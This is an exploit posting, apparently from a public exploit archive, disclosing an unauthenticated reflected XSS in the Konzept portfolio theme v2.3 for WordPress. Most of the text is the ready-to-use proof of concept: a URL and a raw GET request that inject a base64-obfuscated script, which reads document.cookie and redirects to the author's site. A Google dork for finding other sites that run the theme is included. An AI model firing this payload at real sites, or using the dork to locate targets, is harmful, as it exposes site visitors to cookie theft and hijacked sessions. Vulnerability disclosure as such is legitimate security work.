[+] Exploit Title: Konzept - Fullscreen Portfolio WordPress Theme v2.3 - Unauthenticated Reflected XSS [+] Google Dork: inurl:/wp-content/themes/konzept/ [+] Date: 2020-07-30 [+] Exploit Author: Vlad Vector [ https://vladvector.ru ] [+] Vendor: IKONIZE [ https://themeforest.net/user/ikonize ] [+] Software Version: 2.3 [+] Software Link: https://themeforest.net/item/konzept-fullscreen-portfolio-wordpress-theme/2383907 [+] Tested on: Debian 10 [+] CVE: [+] CWE: CWE-79 ### [ Info: ] [i] An Unauthenticated Reflected XSS vulnerability was discovered in the Konzept theme through 2.3 for WordPress. [i] Injected payload will be triggered x25 times :) ### [ PoC: ] [!] https://demo.ikonize.com/konzept/?s=%22%3E%3Cimg+src%3Dx+onerror%3Deval%28atob%28%60amF2YXNjcmlwdDphbGVydChgVkxBRCBWRUNUT1JgKTthbGVydChkb2N1bWVudC5jb29raWUpO3dpbmRvdy5sb2NhdGlvbj0naHR0cHM6Ly92bGFkdmVjdG9yLnJ1Lyc7%60%29%29%3B%3E [!] GET /konzept/?s=%22%3E%3Cimg+src%3Dx+onerror%3Deval%28atob%28%60amF2YXNjcmlwdDphbGVydChgVkxBRCBWRUNUT1JgKTthbGVydChkb2N1bWVudC5jb29raWUpO3dpbmRvdy5sb2NhdGlvbj0naHR0cHM6Ly92bGFkdmVjdG9yLnJ1Lyc7%60%29%29%3B%3E HTTP/1.1 Host: demo.ikonize.com ### [ Contacts: ] [#] Website: vladvector.ru [#] Telegram: @vladvector [#] Twitter: @vlad_vector [#] GitHub: @vladvector